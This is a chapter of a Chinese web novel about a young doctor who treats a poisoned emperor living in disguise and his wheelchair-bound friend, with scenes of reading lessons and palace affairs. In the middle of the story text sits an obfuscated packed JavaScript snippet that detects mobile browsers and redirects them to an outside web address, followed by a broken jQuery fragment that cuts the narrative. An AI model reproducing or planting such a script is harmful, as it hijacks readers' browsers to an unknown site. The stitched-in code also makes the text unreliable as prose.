蒲清许寻了个借口:“蒲若若这几日掉毛严重,待在屋里不愿出门。”
萧妄临:“是吗?它没这个口福了。”
蒲清许立马接过话茬:“我们有口福,这个蘑菇煨鸡很是美味,你尝尝。”
蒲若若也算是吃到了。
二人还是在上次的厢房,与熙熙攘攘的厅堂隔开,落得清净。
“叩叩——”传来敲门声。
“进。”蒲清许以为是上菜的伙计,直接让进来。
抬头看去,来人一身素衣,年岁不大,一双眼漆黑如墨,气质有几分仙风道骨,可惜了却是不良于行,坐在轮椅上。
蒲清许并不认识,莫不是走错了房间?
来人正是徐岱,本朝国师,算出萧妄临机缘后,他除了出主意,一直在自己的国师府没出门。
徐岱看向萧妄临,陛下气色不错,假装自己是偶然遇到,主动问候:“承宁兄,好久不见,近来可好?方才听掌柜说你在这,便来叨扰一番。”
声音温润,一听就知道是哪个熟客。
萧妄临看向门口方向,脑海中浮现自己装失忆装柔弱被蒲清许捡回去的场景。
再怎么有用的馊主意它也是个馊主意。
人是自己找来的,自然要主动引荐:“甚好,清许,这位是我的一位友人,名唤徐岱。”
承宁的朋友。
蒲清许点头示意,面上没有丝毫波动,实则思绪飞速转动,从应对陌生朋友的三十六种方法,到一起用膳需要注意哪些细节。
徐岱明知故问:“这位是?”
亲眼见到后,才发觉这位大夫比预想中年龄小很多,不到双十年纪,一身白衣,眉如远山,眸色疏离,唇角轻抿,拒人于千里之外。
美人在骨不在皮,只可远观。
萧妄临开口:“蒲清许,蒲大夫。”
徐岱开始寒暄:“原来是蒲大夫,久仰久仰。”
蒲清许不解,久仰什么?自知之明还是有的,玉封镇不大,医馆虽说来看诊的人不少,但她在皇城倒也没有这么声名远播吧。
徐岱继续补充:“在玉封镇时,有过一面之缘,都说蒲大夫妙手圣心,今日得见,也是有缘。”
说罢,徐岱十分刻意又极具暗示性地看了一眼自己的腿。
原来如此,蒲清许秒懂,正要开口。
萧妄临打断:“来者是客,不妨先坐下,一起用膳。”
用膳重要。
蒲清许觉得二人之间似是有什么不足为外人道的秘密,有些古怪,不知是何缘故。
徐岱也不恼,从善如流,直接将轮椅手动推到桌边,坐下开吃,毫不见外:“这道不错,醉仙楼厨子自创的特色菜,鸡肉紧实,蘑菇鲜美,二者完美交融,咸香适口。”
蒲清许深以为然。
吃货所见略同。
徐岱边吃边对醉仙楼的膳食一番评头论足,颇有见解,一看就是个老吃家。
菜过五味。
徐岱这才图穷匕见,直入主题:“可否请蒲大夫行个方便,看看我这双腿,可能治?”
蒲清许让徐岱伸出手腕:“先诊脉。”
这脉搏......
“可有知觉?”蒲清许直接上手按压徐岱双腿。
徐岱答道:“有,而且不痛不痒,只是不能起身,心有余而力不足。”
蒲清许思索片刻,也不避讳,直接问道:“你们二位中的是同一种毒。这毒好生奇怪,怎么一个眼盲,一个不能行走?”
萧妄临:......
徐岱:......
还真是同一症结。
萧妄临心中了然,今日传信在此处见面,就是为了看徐岱的腿可有法子医治:“能否医治?”
蒲清许左手手指托住下巴,右手时不时敲击桌面,心中将所需药材一一细数计算,片刻后,答道:“能治,你的症状更轻,有足够星辰砂便能治。”
正好二人的药大同小异,徐岱还不需要调理,到时候直接用药即可。
徐岱:“还需要哪些药材?”
这不巧了,国师府的星辰砂随意取用就是。
蒲清许:“其余都有,我回去列个——我回去让人列个方子。”
回去赶紧抓紧时间练字吧。
迫在眉睫。
用时不会方尴尬。
果然,这位蒲大夫着实医术高明,看诊的方式也与其他大夫不同,宫中几位太医也不曾看出徐岱不良于行的症结所在,还得是蒲大夫。
徐岱心中石头彻底落地,那该死的叫系统的玩意已经没了,余下的东西也成不了什么气候。
“多谢蒲大夫,先给承宁兄医治,我先缓一缓,过几日有事要出一趟门。”
蒲公英最早二月底三月初才能开花,自然也急不得,蒲清许于是解释:“最早要到二月底解药才能备好。”
萧妄临听到这个日子不知在想些什么。
如今是二月初,再过半个月,用过药后,他也能如常人一般,恢复光明。
只是——
无妨,到时候钱货两清,再答谢蒲大夫也不迟。
-
和徐岱分开后,蒲清许带着萧妄临专门吩咐醉仙楼厨子准备的特制烤鸭,回到别院。
蒲若若很开心。
看着油润的烤鸭,蒲清许满心满眼都是扑鼻的香味,有种出门打猎满载而归的感觉。
蒲清许毫不客气大快朵颐一番,煨鸡和烤鸭两种风味,各有千秋,愉快的时光总是这么短暂。
荆从雪休息了一日,第二日直接上门继续教蒲清许识字。
“荆夫子,这个字怎么和刚才读起来不一样?”蒲清许指着书上一字,问道。
“参,参见,取加入,位列其中之意。”
“参,参差不齐,意为长短不一。”
“参,商星也,人生不相见,动如参与商。”
荆从雪一一解释,读到这句诗时,她很明显愣了一下。
蒲清许了然:“人参的参便是这个音。”
见荆从雪不应,蒲清许还以为自己说得哪里不妥,抬头看,却发现荆从雪在发呆:“夫子,你怎么了?可是身体不适?”
荆从雪上次吐血虽不是什么大事,但还是让蒲大夫有些担忧。
荆从雪轻微晃了晃头,将杂乱的想法抛开,正了正神色:“无事,你的药很管用,我们继续。”
蒲清许像海绵一般汲取知识,却也不忘劳逸结合。
起身走动,修整修整。
一抹墨绿色划过蒲清许眼前,这个绿色好看,像变身蒲若若时的眼睛。
蒲清许问:“荆夫子,这个是什么?”
荆从雪将香囊从腰间取下,递给蒲清许,墨绿色荷包上绣有一只并蒂荷花,还有一对......
野鸭子?
蒲清许没见过。
似是看到蒲清许的疑惑,荆从雪解释道:“这是香囊,上面绣了一对鸳鸯。”
一对戏水鸳鸯。
蒲清许只在画本子里听过鸳鸯成双成对的故事。
“这是前年花朝节时,夫君赠与我的。”
原来荆夫子已经成亲了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341806|199373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香囊看起来还很新,主人定是平日里仔细保管,小心收藏。
蒲清许将香囊还给荆从雪:“你们一定很恩爱。”
荆从雪神情有几分恍惚,不知在想些什么,将蒲清许的话重复道:“我们一定很恩爱。”
蒲清许努力想看懂荆从雪的眼神,却一点也看不懂。
荆从雪想着蒲清许应会对花朝节感兴趣,收拢思绪,转而介绍起来:“花朝节,每年都会祭花神,赏百花,制花糕,头上簪花,又叫簪春色,以此来庆贺百花生辰,也有钟情者互送香囊,表明心意。”
花朝节!
制花糕!
百花生辰!
蒲清许不知道自己什么时候的生辰,也记不清到底是哪一日化为人形。
既然是百花生辰,蒲公英怎么不算花呢。
荆从雪继续解释:“花朝节有的地方是二月初二举行,还有二月十五,京城则是每年二月二十举行各类活动,蒲姑娘可提前制作些香囊,里面放入各类花瓣,赏花香,也不失为一种雅趣。”
蒲清许想:香囊里倒是可以放些草药。
-
“主子,边关急报。”暗一将信呈上。
萧妄临当机立断:“回宫,宣苏大将军。”
马车随时等候差遣。
正要上车,萧妄临回头看了一眼,在地上发现不知何时跟着过来的白绿色团子,弯腰抱起,并吩咐暗卫:“将蒲若若送回去。”
蒲若若埋在萧妄临胸口,眼睛都没睁开,两只前爪在空中晃动,似是要抓住什么。
萧妄临感受着手中毛茸茸的触感,改口:“算了,去去就回。”
一时心软,蒲若若就这样稀里糊涂地被带上马车。
暗卫也猜不透陛下的想法。
马车摇摇晃晃,蒲若若睡得越发舒适。
一边在暗卫协助下处理紧急军务,萧妄临一边安抚睡得迷迷瞪瞪的蒲若若。
伸手按了按眉心,萧妄临摸了一把毛茸茸。
手感很好。
没有掉毛。
蒲清许这个主人还不如他细心。
御书房中。
年轻的帝王与朝臣用屏风隔开,只能看清人影。
苏将军挑着重点汇报边关事务,额头上冷汗直冒:粮草的问题不是应该找户部和兵部吗?
正月初一祭祖之后,陛下已经一月有余不曾上朝了,今日再次体会到这种威慑,竟一时半会不能适应,苏将军暗自告诫自己:千万别紧张,不能说错话。
苏将军战战兢兢退下后,有朝中重臣陆陆续续进入御书房。
隐约间听见有人在说话,蒲清许翻了个身,打了个哈欠,抬眼看到的是几个字:这是什么地方?什么书房?第一个字还没学到,不认识。
今日起得早。
太困了。
接着睡。
丝毫没有看到萧妄临无奈地笑。
而蒲清许丝毫不知自己已经进皇宫转了一圈又回来了。
一觉醒来,蒲清许只觉得神清气爽。
蒲清许自从进了皇城,除了医治萧妄临,便只救了一只狸花猫,偶尔想起玉封镇上每日去医馆看诊,忙碌却也充实。
不如在皇城中义诊,为自己多攒些功德。
只是——
“承宁今日可是闲来无事?”
萧妄临顿了一下,答:“今日无事。”
全然不顾暗卫手头已经堆积成山的折子。
蒲清许早已将东西收拾好:“整日待在府中也会无趣,我们今天一起去个地方。”